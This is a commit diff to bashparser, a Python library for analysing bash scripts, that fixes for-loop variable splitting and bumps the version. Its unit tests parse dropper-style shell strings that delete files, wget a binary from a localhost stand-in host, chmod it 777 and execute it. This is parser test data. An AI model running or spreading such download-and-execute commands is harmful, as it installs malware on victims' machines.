Bug fixes in for loop

Author: BlankCanvasStudio

bashparser/test/test_variable.py

@@ -45,10 +45,9 @@ def test_variable_replacement_functions(self):
         result_strings = bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm\n wget http://127.0.0.1/words/arm -O\n chmod 777 arm\n ./arm ssh\n done') \
                             + bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf arm5\n wget http://127.0.0.1/words/arm5 -O\n chmod 777 arm5\n ./arm5 ssh\n done') \
                             + bashlex.parse('for a in "arm arm5 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\n do\n rm -rf aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n wget http://127.0.0.1/words/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -O\n chmod 777 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ssh\n done')
-        
+       
         replaced_nodes = substitute_variables(for_node, var_list)
         self.assertTrue(replaced_nodes == result_strings)
-        
         # Test that list nodes replaced and returned properly 
         nodes = bashlex.parse('n=1;a=2$n')
         result_nodes = bashlex.parse('n=1;a=21')
@@ -97,7 +96,7 @@ def test_update_variable_list(self):
         # Test for loops work with variable replacement
         for_node = bashlex.parse('for a in "$n"\n do\n echo something\n done')[0].list[0]
         new_var_list = update_var_list_with_for_loop(for_node, {'n':['one two three']})
-        self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one two three']})
+        self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one', 'two', 'three']})
         # Test for loops work with command substitution
         for_node = bashlex.parse('for a in "$(echo this)"\n do\n echo something\n done')[0].list[0]
         new_var_list = update_var_list_with_for_loop(for_node, {})
@@ -123,7 +122,7 @@ def test_update_var_list_with_for_loop(self):
         # Test for loops work with variable replacement
         for_node = bashlex.parse('for a in "$n"\n do\n echo something\n done')[0].list[0]
         new_var_list = update_var_list_with_for_loop(for_node, {'n':['one two three']})
-        self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one two three']})
+        self.assertTrue(new_var_list == {'n':['one two three'], 'a':['one', 'two', 'three']})
         # Test for loops work with command substitution
         for_node = bashlex.parse('for a in "$(echo this)"\n do\n echo something\n done')[0].list[0]
         new_var_list = update_var_list_with_for_loop(for_node, {})

bashparser/variables.py

@@ -268,16 +268,26 @@ def update_var_list_with_for_loop(for_nodes, var_list, replace_blanks=False):
             if not len(for_node.parts[value_index].parts):
                 variable_value += for_node.parts[value_index].word.split(' ')
             else:
-                for part in for_node.parts[value_index].parts: 
-                    if part.kind == 'parameter':
-                        if part.value in var_list:
-                            variable_value += var_list [ part.value ]
-                        else:
-                            pass    # The variable needs to have an empty value still
-                    if part.kind == 'commandsubstitution':
-                        value_nodes = substitute_variables(part, var_list, replace_blanks)
-                        for value_node in value_nodes: 
-                            variable_value += [ str(NodeVisitor(value_node)) ]
+                tmp_part = for_node.parts[value_index].parts[0]
+                if len(for_node.parts[value_index].parts) == 1 and \
+                        hasattr(tmp_part, 'value') and tmp_part.value in var_list:
+                        
+                    if len(var_list[tmp_part.value]) == 1:
+                        variable_value += var_list[ tmp_part.value ][0].split(' ')
+                    else:
+                        variable_value += var_list [ tmp_part.value ]
+
+                else:
+                    for part in for_node.parts[value_index].parts: 
+                        if part.kind == 'parameter':
+                            if part.value in var_list:
+                                variable_value += var_list [ part.value ]
+                            else:
+                                pass    # The variable needs to have an empty value still
+                        if part.kind == 'commandsubstitution':
+                            value_nodes = substitute_variables(part, var_list, replace_blanks)
+                            for value_node in value_nodes: 
+                                variable_value += [ str(NodeVisitor(value_node)) ]
             value_index += 1
 
         """ Update the var_list with the new forloop iterator values """

setup.cfg

@@ -1,6 +1,6 @@
 [metadata]
 name = bashparser
-version = 0.15
+version = 0.16
 author = Spencer Stingley
 description = A framework for manipulating and analysing bash scripts
 long_description = A framework for manipulating and analysing bash scripts

setup.py

@@ -7,7 +7,7 @@
 
 setuptools.setup(
     name="bashparser",
-    version="0.15",
+    version="0.16",
     author="Spencer Stingley",
     author_email="[email protected]",
     description="A framework for manipulating and analysing bash scripts",